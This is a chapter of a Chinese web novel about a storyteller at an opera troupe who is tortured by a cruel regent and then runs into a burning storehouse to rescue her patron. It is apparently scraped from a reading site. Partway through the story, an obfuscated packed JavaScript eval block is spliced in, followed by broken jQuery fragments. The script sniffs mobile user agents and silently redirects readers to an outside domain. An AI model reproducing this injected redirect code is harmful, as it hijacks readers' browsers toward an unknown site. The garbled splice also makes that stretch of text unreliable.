默认冷灰
24号文字
方正启体

19.话本先生的戏班子(三)

作者:繁谊本书字数:K更新时间:
    那叩门声颇有抓/奸在床的气势,张行愿从熟睡中猛地惊醒,便撞见皎双警惕的眼神。


    “先生!先生!”杂役在门外疾呼。


    张行愿扯着嗓门问怎么了,也只是一味道“先生”。


    她随手抓起一身衣袍,顾不上是那位的,披身踱至门边,隔着门再问:“到底怎么了?”


    杂役这才放低了嗓音说:“园主说有客人到了,让先生赶紧到戏台上去。”


    客人到了,怎么就到戏台上去?


    想起上回八都来传喜园找她,太叔一点也不匆忙,半天也不曾派人来唤,硬是让她睡过了头,如今……


    “我知道了。”


    张行愿疾步迈回屏风,将那一身男袍扔回榻上,把一道道深深浅浅的粉痕藏进一袭交领的水蓝襦裙里,瞥一眼榻上的男人,他身上亦是斑斑驳驳地留着她的抓痕。


    明显有状况,可他非但不急,还颇有闲情地看她梳妆更衣,嘴角噙着若隐若现的邪媚笑意,眉宇里凝着一股子叫人脸红的心满意足——他对身上、昨夜和留痕都相当满意。


    这是他能随身携带且旁人不得没收的东西。


    命运的齿轮还在法座上转,而他已修得神仙眷侣走下神坛。


    他幸福得不愿匆忙。


    张行愿从榻尾抓起洗净的布衣扔向了他,“一般不会有人到传喜园找我,善者不来,来者不善。”


    她握起马尾辫子四处找发带。


    圣宫那位不慌不忙离榻,一边穿衣一边从另一道屏风抽下她昨夜悬挂的发带,“昨夜姑娘与我戏水,将发带悬于此处了。”


    张行愿红潮染面,对那位不予理会,找回发带后背转身去整理发型,朝晴窗外一瞥,认出了摄政的车马。


    昨日在茶摊招惹了人,就他这人设,上门寻仇亦算情理之中。


    张行愿反而不急了,见摄政有什么好急的。


    临行前,她贴进皎双怀里,一想到是摄政在等,这段拥吻就妙不可言。


    他似乎懂她意图,落在襦裙的手极不老实,“姑娘索性与我荒唐度日。”


    她抵住他胸膛,“摄政来了,我怕牵连太叔。”


    太叔分明不想她去,才让杂役向她通风报信,让她去什么戏台会客,向来乱语藏暗语,胡言有真意。


    她提膝朝他那处挑衅顶撞,继而从他怀间抽离,旋身而去。


    幸好,这传喜园不止一道门,他还是有机会脱身的,那晚她抱着衣茉,绕过西楼和东楼从偏门离去,他今儿也得走这扇门。


    出去后就能替她解围,她撑到那时候问题不大。


    张行愿并不知道有人替她筹谋,心里想的全是皎双和太叔,势必要让他们先一步脱身。


    摄政既已来到了传喜园,说不准会不会心血来潮就全面搜查,突击检查已经到了,突击搜查还会远吗,皎双是非走不可的。


    她得把摄政的火力全引到自己这来,争取时间让皎双离开,同时要把恩怨限定在个人和摄政之间,绝不要扩大到传喜园的层面,断不能害了太叔。


    太叔要她去戏台,怕不是要她开溜,而今台上在演戏,台下在看戏,人最多最好鱼目混珠。


    太叔虽是居士,因着传喜园在无寂派是颇具影响力的,算是响当当的一号人物,鲜少遇着让他“胡言乱语”的人物和状况。


    张行愿径直到了值事房,贴耳朝门上倾听,未得任何声音,随手朝门上叩响两声,不等应允就推门而入。


    预料到是莲镶则来寻仇,可一眼瞧见他还是惊了一下。


    摄政大人喧宾夺主坐于案前,一手摇扇,一手捧着《空花万行》,太叔跪在地面,一副做错了事的样子。


    一见她,莲镶则便放下话本,“先生再不来,我就要派人去搜了。”


    果然。


    他手里的话本是旧本,今儿不至于要了她的命,幸好昨日围读未向太叔禀明。


    张行愿先去扶起太叔,“这里有我就行了,太叔先去忙罢。”


    太叔一见她,便是一个不悦的眼神,恼她自投罗网,明明已经让她溜了。


    这个摄政他是知道的,传闻有特殊癖好,专爱毁处子之身,不少年轻貌美的伎艺,一到摄政府便有去无回,统统成了供他消遣的侍妾,不然你以为他府上那么些歌姬舞姬是怎么来的,就这么来的。


    张行愿无权无势好欺负,这样跑来无异乎以身饲虎。


    这还是最不坏的情况,最坏的情况,是这摄政压根瞧不上她,那她指不定就是个死,而后者可能性很大,张行愿二十有三了,根据摄政玩弄的伎艺人口来看,年龄多在十六和十八之间……


    此情危矣,危矣!


    太叔是诚心信佛的,行的是菩萨道,六度皆修,必要时是愿意舍身救人的,不然当初也不会为大勇寺之急差点把传喜园也搭进去了。


    张行愿硬要把太叔往外推,可他走得拖拖拉拉,有恋栈之意,不敢撇下她一人独面虎威。


    莲镶则轻笑一声,那笑里有轻蔑有警告,“园主留下也无妨,我与自家小婢……”


    张行愿加把劲把太叔推了出去,关上门后深吸了一口气,强自镇定回转身去,迎上摄政的不怀好意。


    她没有行礼,慢慢悠悠到茶案上给自己斟了杯茶,尝过后才说:“还是茶摊的莓子茶好喝,大人觉得如何?”


    不管今日如何,她打定了主意不要奴颜婢膝,这种人求他是没用的,连爱他都没用,衣茉试过了。


    他扇子一合,长身一起,迈着尊步走到茶案前,难得不追究她的不敬之罪,落座后饶有兴味问她,“莲府小婢,我是人面兽,还是兽面人?”


    她有点后悔,在他问她姓名时不该妄称莲小婢,当称莲长姐,现如今辱他不成反遭轻贱,真是难听极了。


    她不卑不亢回话,“摄政是谁,要成为谁,由摄政自己决定,如果摄政非要问我,我就说摄政当是菩萨,当是爱民如子的父母官,当是最温暖的人,最善良的人,最柔软的人,最能容人的人。”


    “我一概不是。”他直接用扇柄打落她手中的茶盏,嘴角勾着瘆人的笑意,“但有一点小婢说得不错,我是什么人,由我决定,你是什么人,我说了才算。”


    茶杯哐当撞地,旋即坏裂,张行愿可以想见自己的下场,得罪摄政,便如这倾覆之盏粉身碎骨。


    她一言不发,说什么都一样,说什么都是个错。


    “不是伶牙俐齿,怎么不说了?”他再次动了动扇柄,把茶壶上半合的陶瓷茶盖扫落桌面,刚沏好的茶水正冒着白气,蒸腾腾地往上蹿。


    “不说也好,我不喜聒噪。”他执扇朝茶壶一指,“手放进去。”


    哎,折磨人的来了。


    张行愿没有抬眼看他,他是个没人性的,不然便不会连爱他的人也诛杀,更何况她,右手还要用来执笔,她咬着牙关把左手投入壶中。


    指尖刚触上热水,手就下意识往外躲,可那扇骨垂来,在她腕上直刺刺一杵,她外逃的手便分寸不差地没入热茶中。


    她疼得直掉泪,从来没被权势这么活生生地欺凌过。


    她不经意间抹了下眼角,似提醒了他尚有另一逆徒逍遥法外,他假意温柔说:“小婢的手小巧得很,手腕细如弱枝,惹人怜爱,把你执笔的手也放进去。”


    她抬起右手,直接把茶壶推翻在地,热水倾泻,溅了几滴在他讲究的锦靴上。


    她顾不上考虑他的心情,忙把烫热的手朝冰凉的脸颊上敷。


    有人叩门,得他应允,护卫才推门而入,躬身到他跟前紧张兮兮说:“佛爷在府上。”


    莲镶则什么也没说,只阴恻恻盯着那护卫。


    被他眼神凌迟了片刻,护卫终于密得要领,告退时摄政轻描淡写吩咐一句,“再沏壶茶来。”


    不一会儿新茶就到,摄政指着茶壶对她说:“小婢,若这壶茶再打翻到地上,我就命人拿个火盆来为你敷脸。”


    张行愿猛打一激灵,低垂着头不吱声,自动自觉掀起了茶盖……


    “走水了!”


    喊声叫声乱作一片,紧接着护卫便心急如焚地闯入,“大人,西楼起火了。”


    张行愿趁机缩回了手,急促问:“火从哪来?”


    那护卫蔑了她一眼,随即向摄政低头,“大人,库房……”


    张行愿惊愕不已,面色煞白,不管不顾冲了出去。


    西楼就一个库房,那里专放行头和戏具,是太叔经营这些年积累下来的宝贝。


    她于慌乱中逮住个提着水桶的人便问:“太叔呢?”


    “在里头啊。”那人朝库房一指。


    怎会无故起火?!<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15930597|174057||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    来不及刨根问底了,浓烟正往外冒,张行愿可以想见火势逼人,可太叔在里头,她不能只顾自己安身,太叔对她有知遇之恩,她必须拿命相报。


    “太叔!”她正要冲进去,却被护卫一把拿下,被一踹跪在了地上。


    她稍稍恍了恍神,一抬头,莲镶则便立于眼前,面无表情。


    他只挥一挥手,正在救火的人便被如数拦下,赶出西楼,刚被遏制的火势便借机叫嚣。


    不少人正帮着太叔把库房里的箱匣往外搬,他们被烟熏得眼眸干涩脸庞沾灰,一应被护卫拿下推赶。


    顷刻间,库房里只剩太叔一人忙于抢救。原本可以扑灭的一场火,就这样被纵容到毁物焚墙,房梁坠塌,库房瞬间成了一屋火海。


    张行愿总算看懂了,此时太叔,彼时皎双。皎双就是这样被扔进孤境,不是没有过扑火的援手,可只要身边有谁向他释放出解围的善意,就会被第一时间赶出风雨同舟的西楼。


    太叔孤身一人在库房里,不顾安危地把箱匣往外推。


    “太叔!你出来!”张行愿急得直起了身,疯子一般揍开了护卫。


    毕竟是女流,护卫只是防御未曾攻击,知她救人心切,动了恻隐之心,便任她边哭边挥拳,等把他揍开了些,张行愿一转身冲向库房,再次被护卫揪住,


    莲镶则信步上前,“看到那烟了吗?不怕死?”


    张行愿瞥了眼冲天的烟雾,知道里头已是九死一生,肩膀一垮似泄了气,抖了抖身推开护卫。


    见她这回是真老实了,护卫便松开了她,毕竟是女流,非必要也没人愿意触碰她。


    张行愿迎头撞开摄政,直奔库房而去,冲到门前时她猛地一回头,朝不远处的冷面摄政淡然一笑,“莲镶则!”


    她清脆而响亮地直呼他名讳。


    他一个眼神,上前拉她的护卫便停在了半途。


    一行清泪顺着她的脸颊而下,“莲镶则,我可怜你。”


    他不禁一怔。


    “莲镶则,我是蝼蚁,可我愿意背负火海、危楼和死亡。你猜为什么?”


    她哀绝朝他呐喊,像是要给死亡鼓足勇气,“莲镶则!我有你没有的东西!我能做到你做不到的事情!你猜那是什么?!”


    她说罢冲进火光,消失得悲壮又迅猛。


    她竟真的闯进死地。


    莲镶则看那瘦影转瞬便没入浓烟中,紧抿着唇,紧攥着拳,受挫受撼受感触。


    他的权力在她此处不值一提,她和衣茉、支蓉……不,不一样,衣茉是因为恃宠而骄,支蓉是因为出身高贵,而她……她只是不在乎。


    连命都不在乎,又岂会恋权。


    “大人。”护卫硬着头皮上前,“不如卑职先去把人带出来?”


    “不必。”莲镶则没人性地说:“这火起得蹊跷,我倒要看看纵火之人可有自救之法,若一场火就能毁掉传喜园,那是天意,天刑之,安可解,且耐心看戏。”


    张行愿往衣袖上吐几口唾沫捂鼻,可不能一进来就熏死过去了,好歹得找到太叔。


    有什么东西将她绊倒,倒下去时却不怎么疼,她正巧摔在太叔身上,真是踏破铁鞋无觅处,得来全不费工夫。


    他已经昏过去了,还有呼吸。


    张行愿拼尽全力把沉沉的躯体往外拖,烧断腿的木架轰然一声倒于身前,余下空间仅够她一人钻出。


    张行愿只得狠狠拍打太叔的脸,甚至朝他眼上吐唾沫,“醒醒!太叔!”


    “来人啊,救命!”


    张行愿知道外间的人是不会来救她的,可还是绝望地喊了出来,“有没有人!太叔,真傻啊你!”


    她知道这火来得奇怪,可摄政是她惹来的,今日若救不出太叔,她也没脸活了。


    死到临头,只是觉得对不起皎双,她太早地将他抛下,不禁泪雨涟涟,恨不能喊他的名字,只得在绝望中悲呼,“救苦救难观世音菩萨,观世音菩萨,观世音菩萨,观世音菩萨,观世音菩萨,观世音菩萨……”


    群影出现,杂声骤起,木架被护卫队三两下移开,张行愿抬起泪眼,心里想的念的那人竟从火光中走来。


    是皎双,皎双!


    他拦腰将她倒挂于肩上,似是要安慰她,稳步离去时他往她身上轻拍两下,“姑娘。”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)